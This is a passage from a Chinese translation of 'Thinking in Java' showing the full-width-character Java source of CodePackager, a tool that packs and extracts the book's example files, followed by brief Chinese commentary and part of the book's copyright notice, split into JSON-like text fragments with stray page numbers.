ｅｏｌ； Ｓｔｒｉｎｇ ｓ； ｂｏｏｌｅａｎ ｆｏｕｎｄＥｎｄＭａｒｋｅｒ ＝ ｆａｌｓｅ； ｔｒｙ ｛ ｗｈｉｌｅ（（ｓ ＝ ｉｎ．ｒｅａｄＬｉｎｅ（）） ！ ＝ ｎｕｌｌ） ｛ ｉｆ（ｓ．ｓｔａｒｔｓＷｉｔｈ（ｓｔａｒｔＭａｒｋｅｒ）） Ｐｒ．ｅｒｒｏｒ（＂Ｎｏ ｅｎｄ ｏｆ ｆｉｌｅ ｍａｒｋｅｒ ｆｏｒ ＂ ＋ ｆｉｌｅｎａｍｅ）； ／／ Ｆｏｒ ｔｈｉｓ ｐｒｏｇｒａｍ， ｎｏ ｓｐａｃｅｓ ｂｅｆｏｒｅ ／／ ｔｈｅ ＂ｐａｃｋａｇｅ＂ ｋｅｙｗｏｒｄ ａｒｅ ａｌｌｏｗｅｄ ／／ ｉｎ ｔｈｅ ｉｎｐｕｔ ｓｏｕｒｃｅ ｃｏｄｅ： ｅｌｓｅ ｉｆ（ｓ．ｓｔａｒｔｓＷｉｔｈ（＂ｐａｃｋａｇｅ＂）） ｛ ／／ Ｅｘｔｒａｃｔ ｐａｃｋａｇｅ ｎａｍｅ： Ｓｔｒｉｎｇ ｐｄｉｒ ＝ ｓ．ｓｕｂｓｔｒｉｎｇ（ ｓ．ｉｎｄｅｘＯｆ（＇ ＇））．ｔｒｉｍ（）； ｐｄｉｒ ＝ ｐｄｉｒ．ｓｕｂｓｔｒｉｎｇ（ ０， ｐｄｉｒ．ｉｎｄｅｘＯｆ（＇； ＇））．ｔｒｉｍ（）； ／／ Ｃａｐｔｕｒｅ ｔｈｅ ｃｈａｐｔｅｒ ｆｒｏｍ ｔｈｅ ｐａｃｋａｇｅ ／／ ｉｇｎｏｒｉｎｇ ｔｈｅ ＇ｃｏｍ＇ ｓｕｂｄｉｒｅｃｔｏｒｉｅｓ： ｉｆ（！ ｐｄｉｒ．ｓｔａｒｔｓＷｉｔｈ（＂ｃｏｍ＂）） ｛ ｉｎｔ ｆｉｒｓｔＤｏｔ ＝ ｐｄｉｒ．ｉｎｄｅｘＯｆ（＇．＇）； ｉｆ（ｆｉｒｓｔＤｏｔ ！ ＝ －１） ｃｈａｐｔｅｒ ＝ ｐｄｉｒ．ｓｕｂｓｔｒｉｎｇ（０，ｆｉｒｓｔＤｏｔ）； ｅｌｓｅ ｃｈａｐｔｅｒ ＝ ｐｄｉｒ； ｝ ６２５ ／／ Ｃｏｎｖｅｒｔ ｐａｃｋａｇｅ ｎａｍｅ ｔｏ ｐａｔｈ ｎａｍｅ： ｐｄｉｒ ＝ ｐｄｉｒ．ｒｅｐｌａｃｅ（ ＇．＇， ｆｉｌｅｓｅｐ．ｃｈａｒＡｔ（０））； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｐａｃｋａｇｅ ＂ ＋ ｐｄｉｒ）； ｄｉｒｎａｍｅ ＝ ｐｄｉｒ； ｝ ｃｏｎｔｅｎｔｓ ＋＝ ｓ ＋ ｅｏｌ； ／／ Ｍｏｖｅ ｐａｓｔ ｃｏｎｔｉｎｕａｔｉｏｎｓ： ｉｆ（ｓ．ｓｔａｒｔｓＷｉｔｈ（ｂｅｇｉｎＣｏｎｔｉｎｕｅ）） ｗｈｉｌｅ（（ｓ ＝ ｉｎ．ｒｅａｄＬｉｎｅ（）） ！ ＝ ｎｕｌｌ） ｉｆ（ｓ．ｓｔａｒｔｓＷｉｔｈ（ｅｎｄＣｏｎｔｉｎｕｅ）） ｛ ｃｏｎｔｅｎｔｓ ＋＝ ｓ ＋ ｅｏｌ； ｂｒｅａｋ； ｝ ／／ Ｗａｔｃｈ ｆｏｒ ｅｎｄ ｏｆ ｃｏｄｅ ｌｉｓｔｉｎｇ： ｉｆ（ｓ．ｓｔａｒｔｓＷｉｔｈ（ｅｎｄＭａｒｋｅｒ） ｜｜ ｓ．ｓｔａｒｔｓＷｉｔｈ（ｅｎｄＭａｒｋｅｒ２）） ｛ ｆｏｕｎｄＥｎｄＭａｒｋｅｒ ＝ ｔｒｕｅ； ｂｒｅａｋ； ｝ ｝ ｉｆ（！ ｆｏｕｎｄＥｎｄＭａｒｋｅｒ） Ｐｒ．ｅｒｒｏｒ（ ＂Ｅｎｄ ｍａｒｋｅｒ ｎｏｔ ｆｏｕｎｄ ｂｅｆｏｒｅ ＥＯＦ＂）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｃｈａｐｔｅｒ： ＂ ＋ ｃｈａｐｔｅｒ）； ｝ ｃａｔｃｈ（ＩＯＥｘｃｅｐｔｉｏｎ ｅ） ｛ Ｐｒ．ｅｒｒｏｒ（＂Ｅｒｒｏｒ ｒｅａｄｉｎｇ ｌｉｎｅ＂）； ｝ ｝ ／／ Ｆｏｒ ｒｅｃｏｖｅｒｉｎｇ ｆｒｏｍ ａ ｐａｃｋｅｄ ｆｉｌｅ： ｐｕｂｌｉｃ ＳｏｕｒｃｅＣｏｄｅＦｉｌｅ（ＢｕｆｆｅｒｅｄＲｅａｄｅｒ ｐＦｉｌｅ） ｛ ｔｒｙ ｛ Ｓｔｒｉｎｇ ｓ ＝ ｐＦｉｌｅ．ｒｅａｄＬｉｎｅ（）； ｉｆ（ｓ ＝＝ ｎｕｌｌ） ｒｅｔｕｒｎ； ｉｆ（！ ｓ．ｓｔａｒｔｓＷｉｔｈ（ｐａｃｋＭａｒｋｅｒ）） Ｐｒ．ｅｒｒｏｒ（＂Ｃａｎ＇ｔ ｆｉｎｄ ＂ ＋ ｐａｃｋＭａｒｋｅｒ ＋ ＂ ｉｎ ＂ ＋ ｓ）； ｓ ＝ ｓ．ｓｕｂｓｔｒｉｎｇ（ ｐａｃｋＭａｒｋｅｒ．ｌｅｎｇｔｈ（））．ｔｒｉｍ（）； ｄｉｒｎａｍｅ ＝ ｓ．ｓｕｂｓｔｒｉｎｇ（０， ｓ．ｉｎｄｅｘＯｆ（＇＃＇））； ｆｉｌｅｎａｍｅ ＝ ｓ．ｓｕｂｓｔｒｉｎｇ（ｓ．ｉｎｄｅｘＯｆ（＇＃＇） ＋ １）； ｄｉｒｎａｍｅ ＝ ｄｉｒｎａｍｅ．ｒｅｐｌａｃｅ（ ｏｌｄｓｅｐ．ｃｈａｒＡｔ（０）， ｆｉｌｅｓｅｐ．ｃｈａｒＡｔ（０））； ｆｉｌｅｎａｍｅ ＝ ｆｉｌｅｎａｍｅ．ｒｅｐｌａｃｅ（ ｏｌｄｓｅｐ．ｃｈａｒＡｔ（０）， ｆｉｌｅｓｅｐ．ｃｈａｒＡｔ（０））； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｌｉｓｔｉｎｇ： ＂ ＋ ｄｉｒｎａｍｅ ＋ ｆｉｌｅｓｅｐ ＋ ｆｉｌｅｎａｍｅ）； ｗｈｉｌｅ（（ｓ ＝ ｐＦｉｌｅ．ｒｅａｄＬｉｎｅ（）） ！"},
    {"text": "＝ ｎｕｌｌ） ｛ ／／ Ｗａｔｃｈ ｆｏｒ ｅｎｄ ｏｆ ｃｏｄｅ ｌｉｓｔｉｎｇ： ｉｆ（ｓ．ｓｔａｒｔｓＷｉｔｈ（ｅｎｄＭａｒｋｅｒ） ｜｜ ｓ．ｓｔａｒｔｓＷｉｔｈ（ｅｎｄＭａｒｋｅｒ２）） ｛ ｃｏｎｔｅｎｔｓ ＋＝ ｓ；"},
    {"text": "｝ ｃｏｎｔｅｎｔｓ ＋＝ ｓ ＋ ｅｏｌ； ｝ ｝ ｃａｔｃｈ（ＩＯＥｘｃｅｐｔｉｏｎ ｅ） ｛ Ｓｙｓｔｅｍ．ｅｒｒ．ｐｒｉｎｔｌｎ（＂Ｅｒｒｏｒ ｒｅａｄｉｎｇ ｌｉｎｅ＂）； ｝ ｝ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ｈａｓＦｉｌｅ（） ｛ ｒｅｔｕｒｎ ｆｉｌｅｎａｍｅ ！ ＝ ｎｕｌｌ； ｝ ｐｕｂｌｉｃ Ｓｔｒｉｎｇ ｄｉｒｅｃｔｏｒｙ（） ｛ ｒｅｔｕｒｎ ｄｉｒｎａｍｅ； ｝ ｐｕｂｌｉｃ Ｓｔｒｉｎｇ ｆｉｌｅｎａｍｅ（） ｛ ｒｅｔｕｒｎ ｆｉｌｅｎａｍｅ； ｝ ｐｕｂｌｉｃ Ｓｔｒｉｎｇ ｃｏｎｔｅｎｔｓ（） ｛ ｒｅｔｕｒｎ ｃｏｎｔｅｎｔｓ； ｝ ／／ Ｔｏ ｗｒｉｔｅ ｔｏ ａ ｐａｃｋｅｄ ｆｉｌｅ： ｐｕｂｌｉｃ ｖｏｉｄ ｗｒｉｔｅＰａｃｋｅｄ（ＤａｔａＯｕｔｐｕｔＳｔｒｅａｍ ｏｕｔ） ｛ ｔｒｙ ｛ ｏｕｔ．ｗｒｉｔｅＢｙｔｅｓ（ ｐａｃｋＭａｒｋｅｒ ＋ ｄｉｒｎａｍｅ ＋ ＂＃＂ ＋ ｆｉｌｅｎａｍｅ ＋ ｅｏｌ）； ｏｕｔ．ｗｒｉｔｅＢｙｔｅｓ（ｃｏｎｔｅｎｔｓ）； ｝ ｃａｔｃｈ（ＩＯＥｘｃｅｐｔｉｏｎ ｅ） ｛ Ｐｒ．ｅｒｒｏｒ（＂ｗｒｉｔｉｎｇ ＂ ＋ ｄｉｒｎａｍｅ ＋ ｆｉｌｅｓｅｐ ＋ ｆｉｌｅｎａｍｅ）； ｝ ｝ ／／ Ｔｏ ｇｅｎｅｒａｔｅ ｔｈｅ ａｃｔｕａｌ ｆｉｌｅ： ｐｕｂｌｉｃ ｖｏｉｄ ｗｒｉｔｅＦｉｌｅ（Ｓｔｒｉｎｇ ｒｏｏｔｐａｔｈ） ｛ Ｆｉｌｅ ｐａｔｈ ＝ ｎｅｗ Ｆｉｌｅ（ｒｏｏｔｐａｔｈ， ｄｉｒｎａｍｅ）； ｐａｔｈ．ｍｋｄｉｒｓ（）； ＰｒｉｎｔＷｒｉｔｅｒ ｐ ＝ ＩＯ．ｐｓＯｐｅｎ（ｎｅｗ Ｆｉｌｅ（ｐａｔｈ， ｆｉｌｅｎａｍｅ））； ｐ．ｐｒｉｎｔ（ｃｏｎｔｅｎｔｓ）； ＩＯ．ｃｌｏｓｅ（ｐ）； ｝ ｝ ｃｌａｓｓ ＤｉｒＭａｐ ｛ ｐｒｉｖａｔｅ Ｈａｓｈｔａｂｌｅ ｔ ＝ ｎｅｗ Ｈａｓｈｔａｂｌｅ（）； ｐｒｉｖａｔｅ Ｓｔｒｉｎｇ ｒｏｏｔｐａｔｈ； ＤｉｒＭａｐ（） ｛ ｒｏｏｔｐａｔｈ ＝ Ｓｙｓｔｅｍ．ｇｅｔＰｒｏｐｅｒｔｙ（＂ｕｓｅｒ．ｄｉｒ＂）； ｝ ＤｉｒＭａｐ（Ｓｔｒｉｎｇ ａｌｔｅｒｎａｔｅＤｉｒ） ｛ ｒｏｏｔｐａｔｈ ＝ ａｌｔｅｒｎａｔｅＤｉｒ； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ａｄｄ（ＳｏｕｒｃｅＣｏｄｅＦｉｌｅ ｆ）｛ Ｓｔｒｉｎｇ ｐａｔｈ ＝ ｆ．ｄｉｒｅｃｔｏｒｙ（）；"},
    {"text": "ｔ．ｃｏｎｔａｉｎｓＫｅｙ（ｐａｔｈ）） ｔ．ｐｕｔ（ｐａｔｈ， ｎｅｗ Ｖｅｃｔｏｒ（））； （（Ｖｅｃｔｏｒ）ｔ．ｇｅｔ（ｐａｔｈ））．ａｄｄＥｌｅｍｅｎｔ（ｆ）； ｝ ６２７ ｐｕｂｌｉｃ ｖｏｉｄ ｗｒｉｔｅＰａｃｋｅｄＦｉｌｅ（Ｓｔｒｉｎｇ ｆｎａｍｅ） ｛ ＤａｔａＯｕｔｐｕｔＳｔｒｅａｍ ｐａｃｋｅｄ ＝ ＩＯ．ｄｏｓＯｐｅｎ（ｆｎａｍｅ）； ｔｒｙ ｛ ｐａｃｋｅｄ．ｗｒｉｔｅＢｙｔｅｓ（＂＃＃＃Ｏｌｄ Ｓｅｐａｒａｔｏｒ：＂ ＋ ＳｏｕｒｃｅＣｏｄｅＦｉｌｅ．ｆｉｌｅｓｅｐ ＋ ＂＃＃＃＼ｎ＂）； ｝ ｃａｔｃｈ（ＩＯＥｘｃｅｐｔｉｏｎ ｅ） ｛ Ｐｒ．ｅｒｒｏｒ（＂Ｗｒｉｔｉｎｇ ｓｅｐａｒａｔｏｒ ｔｏ ＂ ＋ ｆｎａｍｅ）； ｝ Ｅｎｕｍｅｒａｔｉｏｎ ｅ ＝ ｔ．ｋｅｙｓ（）； ｗｈｉｌｅ（ｅ．ｈａｓＭｏｒｅＥｌｅｍｅｎｔｓ（）） ｛ Ｓｔｒｉｎｇ ｄｉｒ ＝ （Ｓｔｒｉｎｇ）ｅ．ｎｅｘｔＥｌｅｍｅｎｔ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂Ｗｒｉｔｉｎｇ ｄｉｒｅｃｔｏｒｙ ＂ ＋ ｄｉｒ）； Ｖｅｃｔｏｒ ｖ ＝ （Ｖｅｃｔｏｒ）ｔ．ｇｅｔ（ｄｉｒ）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｖ．ｓｉｚｅ（）； ｉ＋＋） ｛ ＳｏｕｒｃｅＣｏｄｅＦｉｌｅ ｆ ＝ （ＳｏｕｒｃｅＣｏｄｅＦｉｌｅ）ｖ．ｅｌｅｍｅｎｔＡｔ（ｉ）； ｆ．ｗｒｉｔｅＰａｃｋｅｄ（ｐａｃｋｅｄ）； ｝ ｝ ＩＯ．ｃｌｏｓｅ（ｐａｃｋｅｄ）； ｝ ／／ Ｗｒｉｔｅ ａｌｌ ｔｈｅ ｆｉｌｅｓ ｉｎ ｔｈｅｉｒ ｄｉｒｅｃｔｏｒｉｅｓ： ｐｕｂｌｉｃ ｖｏｉｄ ｗｒｉｔｅ（） ｛ Ｅｎｕｍｅｒａｔｉｏｎ ｅ ＝ ｔ．ｋｅｙｓ（）； ｗｈｉｌｅ（ｅ．ｈａｓＭｏｒｅＥｌｅｍｅｎｔｓ（）） ｛ Ｓｔｒｉｎｇ ｄｉｒ ＝ （Ｓｔｒｉｎｇ）ｅ．ｎｅｘｔＥｌｅｍｅｎｔ（）； Ｖｅｃｔｏｒ ｖ ＝ （Ｖｅｃｔｏｒ）ｔ．ｇｅｔ（ｄｉｒ）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｖ．ｓｉｚｅ（）； ｉ＋＋） ｛ ＳｏｕｒｃｅＣｏｄｅＦｉｌｅ ｆ ＝ （ＳｏｕｒｃｅＣｏｄｅＦｉｌｅ）ｖ．ｅｌｅｍｅｎｔＡｔ（ｉ）； ｆ．ｗｒｉｔｅＦｉｌｅ（ｒｏｏｔｐａｔｈ）； ｝ ／／ Ａｄｄ ｆｉｌｅ ｉｎｄｉｃａｔｉｎｇ ｆｉｌｅ ｑｕａｎｔｉｔｙ ／／ ｗｒｉｔｔｅｎ ｔｏ ｔｈｉｓ ｄｉｒｅｃｔｏｒｙ ａｓ ａ ｃｈｅｃｋ： ＩＯ．ｃｌｏｓｅ（ＩＯ．ｄｏｓＯｐｅｎ（ ｎｅｗ Ｆｉｌｅ（ｎｅｗ Ｆｉｌｅ（ｒｏｏｔｐａｔｈ， ｄｉｒ）， Ｉｎｔｅｇｅｒ．ｔｏＳｔｒｉｎｇ（ｖ．ｓｉｚｅ（））＋＂．ｆｉｌｅｓ＂）））；"},
    {"text": "｝ ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＣｏｄｅＰａｃｋａｇｅｒ ｛ ｐｒｉｖａｔｅ ｓｔａｔｉｃ ｆｉｎａｌ Ｓｔｒｉｎｇ ｕｓａｇｅＳｔｒｉｎｇ ＝ ＂ｕｓａｇｅ： ｊａｖａ ＣｏｄｅＰａｃｋａｇｅｒ ｐａｃｋｅｄＦｉｌｅＮａｍｅ＂ ＋ ＂＼ｎＥｘｔｒａｃｔｓ ｓｏｕｒｃｅ ｃｏｄｅ ｆｉｌｅｓ ｆｒｏｍ ｐａｃｋｅｄ ＼ｎ＂ ＋ ＂ｖｅｒｓｉｏｎ ｏｆ Ｔｊａｖａ．ｄｏｃ ｓｏｕｒｃｅｓ ｉｎｔｏ ＂ ＋ ＂ｄｉｒｅｃｔｏｒｉｅｓ ｏｆｆ ｃｕｒｒｅｎｔ ｄｉｒｅｃｔｏｒｙ＼ｎ＂ ＋ ＂ｊａｖａ ＣｏｄｅＰａｃｋａｇｅｒ ｐａｃｋｅｄＦｉｌｅＮａｍｅ ｎｅｗＤｉｒ＼ｎ＂ ＋ ＂Ｅｘｔｒａｃｔｓ ｉｎｔｏ ｄｉｒｅｃｔｏｒｉｅｓ ｏｆｆ ｎｅｗＤｉｒ＼ｎ＂ ＋ ＂ｊａｖａ ＣｏｄｅＰａｃｋａｇｅｒ －ｐ ｓｏｕｒｃｅ．ｔｘｔ ｐａｃｋｅｄＦｉｌｅ＂ ＋ ＂＼ｎＣｒｅａｔｅｓ ｐａｃｋｅｄ ｖｅｒｓｉｏｎ ｏｆ ｓｏｕｒｃｅ ｆｉｌｅｓ＂ ＋ ６２８ ＂＼ｎｆｒｏｍ ｔｅｘｔ ｖｅｒｓｉｏｎ ｏｆ Ｔｊａｖａ．ｄｏｃ＂；"},
    {"text": "ｐｒｉｖａｔｅ ｓｔａｔｉｃ ｖｏｉｄ ｕｓａｇｅ（） ｛ Ｓｙｓｔｅｍ．ｅｒｒ．ｐｒｉｎｔｌｎ（ｕｓａｇｅＳｔｒｉｎｇ）； Ｓｙｓｔｅｍ．ｅｘｉｔ（１）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｉｆ（ａｒｇｓ．ｌｅｎｇｔｈ ＝＝ ０） ｕｓａｇｅ（）； ｉｆ（ａｒｇｓ［０］．ｅｑｕａｌｓ（＂－ｐ＂）） ｛ ｉｆ（ａｒｇｓ．ｌｅｎｇｔｈ ！ ＝ ３） ｕｓａｇｅ（）； ｃｒｅａｔｅＰａｃｋｅｄＦｉｌｅ（ａｒｇｓ）； ｝ ｅｌｓｅ ｛ ｉｆ（ａｒｇｓ．ｌｅｎｇｔｈ ＞ ２） ｕｓａｇｅ（）； ｅｘｔｒａｃｔＰａｃｋｅｄＦｉｌｅ（ａｒｇｓ）； ｝ ｝ ｐｒｉｖａｔｅ ｓｔａｔｉｃ Ｓｔｒｉｎｇ ｃｕｒｒｅｎｔＬｉｎｅ； ｐｒｉｖａｔｅ ｓｔａｔｉｃ ＢｕｆｆｅｒｅｄＲｅａｄｅｒ ｉｎ； ｐｒｉｖａｔｅ ｓｔａｔｉｃ ＤｉｒＭａｐ ｄｍ； ｐｒｉｖａｔｅ ｓｔａｔｉｃ ｖｏｉｄ ｃｒｅａｔｅＰａｃｋｅｄＦｉｌｅ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｄｍ ＝ ｎｅｗ ＤｉｒＭａｐ（）； ｉｎ ＝ ＩＯ．ｄｉｓＯｐｅｎ（ａｒｇｓ［１］）； ｔｒｙ ｛ ｗｈｉｌｅ（（ｃｕｒｒｅｎｔＬｉｎｅ ＝ ｉｎ．ｒｅａｄＬｉｎｅ（）） ！ ＝ ｎｕｌｌ） ｛ ｉｆ（ｃｕｒｒｅｎｔＬｉｎｅ．ｓｔａｒｔｓＷｉｔｈ（ ＳｏｕｒｃｅＣｏｄｅＦｉｌｅ．ｓｔａｒｔＭａｒｋｅｒ）） ｛ ｄｍ．ａｄｄ（ｎｅｗ ＳｏｕｒｃｅＣｏｄｅＦｉｌｅ（ ｃｕｒｒｅｎｔＬｉｎｅ， ｉｎ））； ｝ ｅｌｓｅ ｉｆ（ｃｕｒｒｅｎｔＬｉｎｅ．ｓｔａｒｔｓＷｉｔｈ（ ＳｏｕｒｃｅＣｏｄｅＦｉｌｅ．ｅｎｄＭａｒｋｅｒ）） Ｐｒ．ｅｒｒｏｒ（＂ｆｉｌｅ ｈａｓ ｎｏ ｓｔａｒｔ ｍａｒｋｅｒ＂）； ／／ Ｅｌｓｅ ｉｇｎｏｒｅ ｔｈｅ ｉｎｐｕｔ ｌｉｎｅ ｝ ｝ ｃａｔｃｈ（ＩＯＥｘｃｅｐｔｉｏｎ ｅ） ｛ Ｐｒ．ｅｒｒｏｒ（＂Ｅｒｒｏｒ ｒｅａｄｉｎｇ ＂ ＋ ａｒｇｓ［１］）； ｝ ＩＯ．ｃｌｏｓｅ（ｉｎ）； ｄｍ．ｗｒｉｔｅＰａｃｋｅｄＦｉｌｅ（ａｒｇｓ［２］）； ｝ ｐｒｉｖａｔｅ ｓｔａｔｉｃ ｖｏｉｄ ｅｘｔｒａｃｔＰａｃｋｅｄＦｉｌｅ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｉｆ（ａｒｇｓ．ｌｅｎｇｔｈ ＝＝ ２） ／／ Ａｌｔｅｒｎａｔｅ ｄｉｒｅｃｔｏｒｙ ｄｍ ＝ ｎｅｗ ＤｉｒＭａｐ（ａｒｇｓ［１］）； ｅｌｓｅ ／／ Ｃｕｒｒｅｎｔ ｄｉｒｅｃｔｏｒｙ ｄｍ ＝ ｎｅｗ ＤｉｒＭａｐ（）； ｉｎ ＝ ＩＯ．ｄｉｓＯｐｅｎ（ａｒｇｓ［０］）； Ｓｔｒｉｎｇ ｓ ＝ ｎｕｌｌ； ６２９ ｔｒｙ ｛ ｓ ＝ ｉｎ．ｒｅａｄＬｉｎｅ（）； ｝ ｃａｔｃｈ（ＩＯＥｘｃｅｐｔｉｏｎ ｅ） ｛ Ｐｒ．ｅｒｒｏｒ（＂Ｃａｎｎｏｔ ｒｅａｄ ｆｒｏｍ ＂ ＋ ｉｎ）； ｝ ／／ Ｃａｐｔｕｒｅ ｔｈｅ ｓｅｐａｒａｔｏｒ ｕｓｅｄ ｉｎ ｔｈｅ ｓｙｓｔｅｍ ／／ ｔｈａｔ ｐａｃｋｅｄ ｔｈｅ ｆｉｌｅ： ｉｆ（ｓ．ｉｎｄｅｘＯｆ（＂＃＃＃Ｏｌｄ Ｓｅｐａｒａｔｏｒ：＂） ！ ＝ －１ ） ｛ Ｓｔｒｉｎｇ ｏｌｄｓｅｐ ＝ ｓ．ｓｕｂｓｔｒｉｎｇ（ ＂＃＃＃Ｏｌｄ Ｓｅｐａｒａｔｏｒ：＂．ｌｅｎｇｔｈ（））； ｏｌｄｓｅｐ ＝ ｏｌｄｓｅｐ．ｓｕｂｓｔｒｉｎｇ（ ０， ｏｌｄｓｅｐ． ｉｎｄｅｘＯｆ（＇＃＇））； ＳｏｕｒｃｅＣｏｄｅＦｉｌｅ．ｏｌｄｓｅｐ ＝ ｏｌｄｓｅｐ； ｝ ＳｏｕｒｃｅＣｏｄｅＦｉｌｅ ｓｆ ＝ ｎｅｗ ＳｏｕｒｃｅＣｏｄｅＦｉｌｅ（ｉｎ）； ｗｈｉｌｅ（ｓｆ．ｈａｓＦｉｌｅ（）） ｛ ｄｍ．ａｄｄ（ｓｆ）； ｓｆ ＝ ｎｅｗ ＳｏｕｒｃｅＣｏｄｅＦｉｌｅ（ｉｎ）； ｝ ｄｍ．ｗｒｉｔｅ（）； ｝ ｝ ／／／：￣ 我们注意到 ｐａｃｋａｇｅ 语句已经作为注释标志出来了。"},
    {"text": "但对 ＣｏｄｅＰａｃｋａｇｅｒ 来说，它“看起来”依然象一个普通的 ｐａｃｋａｇｅ 语句，因为程序还不是特别复杂，不能侦查到 多行注释（没有必要做得这么复杂，这里只要求方便就行）。"},
    {"text": "帮助解决问题的第一个类是 ＳｏｕｒｃｅＣｏｄｅＦｉｌｅ（源码文件），它代表本书一个源码文件包含的所有信息（内 容、文件名以及目录）。"},
    {"text": "以及一大段版权声明，它是从下面这个 Ｃｏｐｙｒｉｇｈｔ．ｔｘｔ 文件里提取出来的： ／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／／ ／／ Ｃｏｐｙｒｉｇｈｔ （ｃ） Ｂｒｕｃｅ Ｅｃｋｅｌ， １９９８ ／／ Ｓｏｕｒｃｅ ｃｏｄｅ ｆｉｌｅ ｆｒｏｍ ｔｈｅ ｂｏｏｋ ＂Ｔｈｉｎｋｉｎｇ ｉｎ Ｊａｖａ＂ ／／ Ａｌｌ ｒｉｇｈｔｓ ｒｅｓｅｒｖｅｄ ＥＸＣＥＰＴ ａｓ ａｌｌｏｗｅｄ ｂｙ ｔｈｅ ／／ ｆｏｌｌｏｗｉｎｇ ｓｔａｔｅｍｅｎｔｓ： Ｙｏｕ ｍａｙ ｆｒｅｅｌｙ ｕｓｅ ｔｈｉｓ ｆｉｌｅ ／／ ｆｏｒ ｙｏｕｒ ｏｗｎ ｗｏｒｋ （ｐｅｒｓｏｎａｌ ｏｒ ｃｏｍｍｅｒｃｉａｌ）， ／／ ｉｎｃｌｕｄｉｎｇ ｍｏｄｉｆｉｃａｔｉｏｎｓ ａｎｄ ｄｉｓｔｒｉｂｕｔｉｏｎ ｉｎ ／／ ｅｘｅｃｕｔａｂｌｅ ｆｏｒｍ ｏｎｌｙ． Ｐｅｒｍｉｓｓｉｏｎ ｉｓ ｇｒａｎｔｅｄ ｔｏ ｕｓｅ ／／ ｔｈｉｓ ｆｉｌｅ ｉｎ ｃｌａｓｓｒｏｏｍ ｓｉｔｕａｔｉｏｎｓ， ｉｎｃｌｕｄｉｎｇ ｉｔｓ ／／ ｕｓｅ ｉｎ ｐｒｅｓｅｎｔａｔｉｏｎ ｍａｔｅｒｉａｌｓ， ａｓ ｌｏｎｇ ａｓ ｔｈｅ ｂｏｏｋ ／／ ＂Ｔｈｉｎｋｉｎｇ ｉｎ Ｊａｖａ＂ ｉｓ ｃｉｔｅｄ ａｓ ｔｈｅ ｓｏｕｒｃｅ． ／／ Ｅｘｃｅｐｔ ｉｎ ｃｌａｓｓｒｏｏｍ ｓｉｔｕａｔｉｏｎｓ， ｙｏｕ ｍａｙ ｎｏｔ ｃｏｐｙ ／／ ａｎｄ ｄｉｓｔｒｉｂｕｔｅ ｔｈｉｓ ｃｏｄｅ； ｉｎｓｔｅａｄ， ｔｈｅ ｓｏｌｅ ６３０ ／／ ｄｉｓｔｒｉｂｕｔｉｏｎ ｐｏｉｎｔ ｉｓ ｈｔｔｐ：／／ｗｗｗ．ＢｒｕｃｅＥｃｋｅｌ．ｃｏｍ ／／ （ａｎｄ ｏｆｆｉｃｉａｌ ｍｉｒｒｏｒ ｓｉｔｅｓ） ｗｈｅｒｅ ｉｔ ｉｓ ／／ ｆｒｅｅｌｙ ａｖａｉｌａｂｌｅ． Ｙｏｕ ｍａｙ ｎｏｔ ｒｅｍｏｖｅ ｔｈｉｓ ／／ ｃｏｐｙｒｉｇｈｔ ａｎｄ ｎｏｔｉｃｅ． Ｙｏｕ ｍａｙ ｎｏｔ ｄｉｓｔｒｉｂｕｔｅ ／／ ｍｏｄｉｆｉｅｄ ｖｅｒｓｉｏｎｓ ｏｆ ｔｈｅ ｓｏｕｒｃｅ ｃｏｄｅ ｉｎ ｔｈｉｓ ／／ ｐａｃｋａｇｅ． Ｙｏｕ ｍａｙ ｎｏｔ ｕｓｅ ｔｈｉｓ ｆｉｌｅ ｉｎ ｐｒｉｎｔｅｄ ／／ ｍｅｄｉａ ｗｉｔｈｏｕｔ ｔｈｅ ｅｘｐｒｅｓｓ ｐｅｒｍｉｓｓｉｏｎ ｏｆ ｔｈｅ ／／ ａｕｔｈｏｒ． Ｂｒｕｃｅ Ｅｃｋｅｌ ｍａｋｅｓ ｎｏ ｒｅｐｒｅｓｅｎｔａｔｉｏｎ ａｂｏｕｔ ／／ ｔｈｅ ｓｕｉｔａｂｉｌｉｔｙ ｏｆ ｔｈｉｓ ｓｏｆｔｗａｒｅ ｆｏｒ ａｎｙ ｐｕｒｐｏｓｅ． ／／ Ｉｔ ｉｓ ｐｒｏｖｉｄｅｄ ＂ａｓ ｉｓ＂ ｗｉｔｈｏｕｔ ｅｘｐｒｅｓｓ ｏｒ ｉｍｐｌｉｅｄ ／／ ｗａｒｒａｎｔｙ ｏｆ ａｎｙ ｋｉｎｄ， ｉｎｃｌｕｄｉｎｇ ａｎｙ ｉｍｐｌｉｅｄ ／／ ｗａｒｒａｎｔｙ ｏｆ ｍｅｒｃｈａｎｔａｂｉｌｉｔｙ， ｆｉｔｎｅｓｓ ｆｏｒ ａ ／／ ｐａｒｔｉｃｕｌａｒ ｐｕｒｐｏｓｅ ｏｒ ｎｏｎ－ｉｎｆｒｉｎｇｅｍｅｎｔ． Ｔｈｅ ｅｎｔｉｒｅ ／／ ｒｉｓｋ ａｓ ｔｏ ｔｈｅ ｑｕａｌｉｔｙ ａｎｄ ｐｅｒｆｏｒｍａｎｃｅ ｏｆ ｔｈｅ ／／ ｓｏｆｔｗａｒｅ ｉｓ ｗｉｔｈ ｙｏｕ． Ｂｒｕｃｅ Ｅｃｋｅｌ ａｎｄ ｔｈｅ ／／ ｐｕｂｌｉｓｈｅｒ ｓｈａｌｌ ｎｏｔ ｂｅ ｌｉａｂｌｅ ｆｏｒ ａｎｙ ｄａｍａｇｅｓ ／／ ｓｕｆｆｅｒｅｄ ｂｙ ｙｏｕ ｏｒ ａｎｙ ｔｈｉｒｄ ｐａｒｔｙ ａｓ ａ 